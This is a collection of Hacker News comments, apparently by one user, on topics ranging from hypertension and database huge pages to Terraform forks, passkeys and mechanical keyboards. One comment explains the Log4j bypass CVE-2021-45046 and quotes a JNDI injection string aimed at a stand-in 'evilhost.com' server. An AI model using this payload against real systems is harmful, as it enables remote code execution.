SloopJon

Me three, although my procedure did not result in quite so dramatic an improvement. I saw a PCP for the first time in several years, and was 180/130. Four meds (vasodilator, calcium channel blocker, diuretic, and beta blocker) brought that down to 130-140/80-90. After removing an adrenal gland, I'm in that same range with three meds (same three minus the beta blocker, which never did much anyway).

Regarding this potassium paper, it's interesting that it primarily concerns itself with sodium and potassium intake. I don't know that any reasonable change to my intake could have overcome the effects of aldosterone overproduction, but wouldn't the recommended changes to your diet depend on measuring your current balance?

Search for huge pages in the documentation of a DBMS that implements its own caching in shared memory: Oracle [1], PostgreSQL [2], MySQL [3], etc. When you're caching hundreds of gigabytes, it makes a difference. Here's a benchmark comparing PostgreSQL performance with regular, large, and huge pages [4].

There was a really bad performance regression in Linux a couple of years ago that killed performance with large memory regions like this (can't find a useful link at the moment), and the short-term mitigation was to increase the huge page size from 2MB to 1GB.

[1] https://blogs.oracle.com/exadata/post/huge-pages-in-the-cont...

[2] https://www.postgresql.org/docs/current/kernel-resources.htm...

[3] https://dev.mysql.com/doc/refman/8.4/en/large-page-support.h...

[4] https://www.percona.com/blog/benchmark-postgresql-with-linux...

This was a bit of a bear to get running on my Mac. Everything depends on ddpoker.rc, which doesn't behave as expected unless an OSNAME environment variable is defined. I don't have that on macOS 14 (Sonoma) Mac using either zsh or bash. I hopped onto a 10.13 (High Sierra) hackintosh, and it doesn't have that variable either.

For the person who was having trouble getting this to work on an M1 Mac (flagged, really?), try this (after installing Java 8 and Maven using Homebrew):

    % git clone https://github.com/dougdonohoe/ddpoker.git
    ...
    % cd ddpoker
    % export OSNAME=darwin
    % source ddpoker.rc
    JAVA_HOME changed, version now openjdk version "1.8.0_422"
    % mvn-package-no-tests
    ...
    % poker

I built this before figuring out the OSNAME thing, so I can't actually vouch for the build step working out of the box.

Anyway, thank you very much, Doug. This looks really cool.

To me, "hoard" comes with an implication of amassing these in secret and/or not making full use of them. If Meta is crowing about how many they have, and seemingly putting them to good use (or at least some use), I wouldn't call that hoarding.

I occasionally acquire half-decent hardware for stress testing. If I add a pair of Dell servers to the lab (or, heaven help me, anything from IBM), I don't feel like I'm hoarding. What I do feel, after spending $50-500K of someone else's money, is a responsibility to get their money's worth out of it.

I can understand, then, Tesla shareholder frustration with 12,000 of these being diverted to a different neighborhood in Muskville. Talk about other people's money.

I take a Show HN to be a solicitation for feedback.

It took me a few tries to get this to run. I tried passing -model_path, but it complained that it couldn't find config.json. I then made a config.json in the pwd (which contained the executable), but it couldn't expand "~". I then tried searching *.txt, but it couldn't find anything unless I specified just one file.

In terms of offering an experience similar to grep, it's a lot slower. It's not quite as slow with the SLIM file, but I wonder if there's some low-hanging fruit for optimization. Perhaps caching similarity for input tokens?

I deal with a lot of data in tabular form, and I like to have as much of it in front of me at once as I can. The biggest influence on my report design has been, believe it or not, iTunes: no more padding than necessary, zebra striping, fast and easy sorting, and something like a column browser if possible. I've been using DataTables happily for years.

One thing I've been experimenting with lately is sorting vs. showing. If I'm pulling data from Jira, and an issue is blocked, do I need a separate boolean column to sort or filter, or is it enough to style another column (say, age)? In a table with a hundred or more rows, will an orange, red, or bold red value in a single cell stand out enough for me to recognize something I need to address now?

Looking at the table view of this experiment, the things I like are:

* live updating

* stable sorting for multiple columns

* row highlight on hover

* dimming the trailing zeros

* colors aren't overdone; basically just three pairs of colors

* graph in the 24H Low/High column, kind of like a sparkline

The things that don't land as well with me:

* horizontal scroll bar is almost invisible

* the wide vertical scroll bar with the graph

* how does 24H Low/High actually sort?

* no filtering (although it may not be essential for this data source)

The other thing I notice, comparing this to some of my own reports, is that there isn't much variance in the width of the values. It's harder to manage column widths with text than a bunch of numbers.

Testing correctness and compatibility with particular vendors was the priority: block storage, O/S images, APIs, etc. A third-party solution like LocalStack was on my radar, because it aims to be compatible with AWS. My understanding of Oxide is that it's its own thing.

I'm in the funny position of having to test products in the cloud at a company that is really skittish about putting any of its own stuff in the cloud. I looked at AWS Outposts, but determined that it likely wouldn't pass muster with our policies. It was also really expensive, and it was only available for rent, not purchase.

I then did an experiment with the Azure Stack Development Kit. It was limited to a weird ghetto of outdated VM images, and had to be rebooted every few weeks. I did not proceed with Stack Hub.

If GCP wasn't a distant third place, I might give this thing a try, but it's probably really expensive just for testing.

The long term solution is going to be chipping away at our policies, but I was disappointed that I couldn't find a usable on-prem cloud solution.

I was shopping for a storage array last year, and was impressed by the IBM FlashSystem, which can stuff about 1.8PB (raw) into a 4U enclosure using forty-eight 38.4TB FlashCore modules.

StorageReview's server is a different beast, but it's kind of amazing that it gets similar capacity in only 2U.

Reading this from the perspective of cluster headache, which gets some hand-me-down treatments from migraine, I just spent half an hour reading about CGRP blockers that have been approved in the last five or six years, including Aimovig and Ajovy for migraine, and Emgality for clusters.

It's been several years since my last cycle (my longest break yet), but it's heartening to know that research continues, leading to more treatment options.

I was noodling in this area recently, trying to speed up some code similar to the tr utility:

    $ echo abcdef |tr abc ghi
    ghidef

For an eight-bit character set, I found that building an array to map every character improved on linear search, even for short replacement strings and relatively short input strings.

There isn't as easy a win for Unicode, so I played with some simple hash tables. Although the conventional wisdom is to use the high-order bits of a hash function's output, FNV-1a is not so good for short inputs of one or two bytes. (I used the 32-bit variant.) It was better just to use the low-order bits.

The article suggests that this DDoS is incentivized by the resume-padding cachet of having a CVE to your name, a kind of Hacktoberfest-style cobra effect:

> a recently growing pattern involves newbie security enthusiasts and bug bounty hunters ostensibly "collecting" CVEs to enrich their resume

Naturally, such a reporter would value higher severity reports.

I haven't really thought that much about the CVE process. It's kind of strange to me that Github, Snyk, and the NVD may all have different evaluations of a report. I guess decentralization is a feature, but one not without bugs.

From the article:

> The 'node-ip' project exists on the npmjs.com registry as the 'ip' package

Although a lot of the comments so far refer to charitable fundraising, this story is about political fundraising, often confusingly similar to charities; e.g., the American Breast Cancer Coalition. The kicker is that some of the parties involved have previously been "banned from all charitable fundraising for life."

After looking up the code for raw_sync, I came to the same conclusion. My first question was whether the shared memory case is safe on a weaker memory model like ARM or Power. Seeing the mutex, it may be too safe.

Slack's blog post links to "Enzyme is dead. Now what?"[1], in which Wojciech Maj said, "A couple of tireless evenings later, @wojtekmaj/enzyme-adapter-react-17 was born." Now, he was building on someone else's pull request, and he also said that adapting to React 18 would have required a huge rework. Still, I'm thinking that @slack/enzyme-adapter-react-18 just might have taken less than 10,000 hours.

Then again, the idea of a testing framework that is so tightly coupled that it breaks every version is foreign to me, so I probably don't know what I'm talking about.

[1] https://dev.to/wojtekmaj/enzyme-is-dead-now-what-ekl

Driver download:

https://intersystems-community.github.io/iris-driver-distrib...

Example connection strings:

https://docs.intersystems.com/irislatest/csp/docbook/DocBook...

Instructions for starting a container:

https://docs.intersystems.com/irislatest/csp/docbook/DocBook...

I created a Custom JDBC Server connection, but I can't figure out how to specify the driver file. Clicking the Test button offers to download one, but fails with an IndexOutOfBoundsException. I don't see anything relevant in the Settings, and I don't see anything resembling the DBeaver driver manager.

I don't know how to translate that Pulse FAQ to qStudio. FWIW, I'm using Java 11 on macOS 14. I have a single qstudio.jar file.

This could be useful for bootstrapping a shared-nothing cluster or a disaster recovery node. A comparable amount of space in a storage array might occupy a 2-4U chassis, which would be somewhat less convenient to transport.

This thing isn't going to be cheap, so you'd probably want a more frequent transfer to justify it. Maybe sneaker net database journals or backups every week?

I wouldn't include atomics and memory barriers in the "fearless concurrency" category of Rust. Is there really a large enough body of third-party code to worry about compatibility?

As for Linus's complaint that compilers aren't perfect, I've seen many bugs over the years with this style of code. A missing memory barrier doesn't exactly stand out. Maybe Linux has a better track record, but I would love to push as much of this as possible into the hands of a "pre-reliable" compiler, where a bug can be fixed once.

It seems like they're taking a reasonable and measured approach to start with a small surface area, which bodes well for the future of Rust in Linux.

This is every bit as much a people problem as a technology problem. When I read the headline, I didn't even understand what there possibly was to breach at OWASP.

> OWASP collected resumes as part of the early membership process, whereby members were required in the 2006 to 2014 era to show a connection to the OWASP community. OWASP no longer collects resumes as part of the membership process.

Why did OWASP retain this information ten years after they stopped the practice?

I don't think you read the same article that I did, because you are impugning Trisha Thadani and/or the Washington Post for grift and conflict of interest with zero evidence. The tone of the article does not at all strike me as praising Aurora Innovation, Kodiak Robotics, or Daimler Trucks. The subtitle warns that they are "speeding ahead of federal regulations," and if you look at her history she has written several articles focusing on the risks of testing autonomous vehicles on public roads.

> If your exotic software testing technology gets yanked, then you're literally exactly where you are today.

As someone testing concurrent/distributed software, Antithesis is potentially useful to me. It would be a substantial investment to build test infrastructure around it, with a very big opportunity cost if it wasn't successful, or disappeared after an acquisition. If this exotic technology is more than a toy, I wouldn't be so cavalier about its long term prospects.

OpenTofu does seem to have reached a stable, usable release. I meant to ask whether any of the other forks are viable. OpenBao, e.g., doesn't seem there yet.

KeePassXC added support for passkeys in 2.7.7, released a week ago:

https://keepassxc.org/blog/2024-03-10-2.7.7-released/

This post prompted me to give it a try at webauthn.io.

Passkey support is disabled by default, so you have to enable it in the settings for the browser extension. After that, the UI seems reasonable enough. It creates an entry with a "Passkey" tag, where the Password field is empty, and the credentials are stored as additional attributes on the Advanced tab.

One thing I'm not sure about: although the extension has a setting to fall back to the browser's own passkey support, when I dismissed the KeePassXC prompt, I did not get a prompt from Firefox.

> a shift in their user base towards open source forks

I wonder how we can verify this. If I look at HashiCorp's quarterly results,[1] revenue is up, and they're adding customers, but net dollar retention rate is trending down.

OpenTofu has 3k followers to HashiCorp's 6.9k on Github. The opentofu/opentofu repo has 18.8k stars to 40.9k for hashicorp/terraform. Sentiment on a recent r/TerraForm thread seems decidedly mixed.[2]

Are any of the (edit: other) forks of HashiCorp's viable yet?

[1] https://ir.hashicorp.com/financial-information/quarterly-res...

[2] https://old.reddit.com/r/Terraform/comments/19egjs3/thoughts...

I didn't look into this in detail at the time, but the report's summary of CVE-2021-45046 is that the parser that validated an URL behaved differently than a separate parser used to fetch the URL, so an URL like

    jndi:ldap://127.0.0.1#.evilhost.com:1389/a

is validated as 127.0.0.1, which may be whitelisted, but fetched from evilhost.com, which probably isn't.

Another post in this thread was downvoted and flagged (really?) for claiming that URL parsing isn't difficult. The linked article claims that "Parsing URLs correctly is surprisingly hard." As a software tester, I'm very willing to believe that, but I don't know that the article really made the case.

I did find a paper describing some vulnerabilities in popular URL parsing libraries, including urllib and urllib3. Blog post here:

https://claroty.com/team82/research/exploiting-url-parsing-c...

Paper here:

https://web-assets.claroty.com/exploiting-url-parsing-confus...

If you remember the Log4j vulnerability from a couple of years ago, that was an URL parsing bug.

From the article: "In a nutshell, audio fingerprinting uses the browser’s Audio API to render an audio signal with OfflineAudioContext interface." It links to a previous article with more details:

https://fingerprint.com/blog/audio-fingerprinting/

Here's an example from that article of a sound source:

    const oscillator = context.createOscillator()
    oscillator.type = "triangle"
    oscillator.frequency.value = 1000

I haven't used that many different keyboards, but each one has kind of added a feature to my must-have list.

My first mechanical was a tenkeyless Max Keyboard Nighthawk. It sold me on the TKL size, and backlighting. It also has a USB hub, which is very convenient for mouse dongles and headsets.

For several years I used a Kinesis Advantage at work. I never loved it, but it sold me on having my preferred layout (Dvorak) in hardware, rather than configuring it in the O/S. I also liked having a backspace under my left thumb.

Not long after I got a Kinesis Gaming Freestyle Edge RGB at home. Even better than the Advantage, I could program an arbitrary layout (and lighting) in hardware. And because it's split, I can program the left spacebar for backspace.

When I got tired of the Advantage, I bought a System76 Launch, a compact TKL with a split spacebar. This sold me on hot-swap switches. I generally like light tactile switches like the Cherry MX Brown in the first three keyboards, but it's fun to put clickies on some of the keys, and very light linears on the pinkie modifiers.

I guess the point is that as your list of must-have features grows, the set of candidate keyboards shrinks. There aren't many programmable RGB keyboards with hot-swap switches, a split spacebar, and a USB hub. What are your must-haves?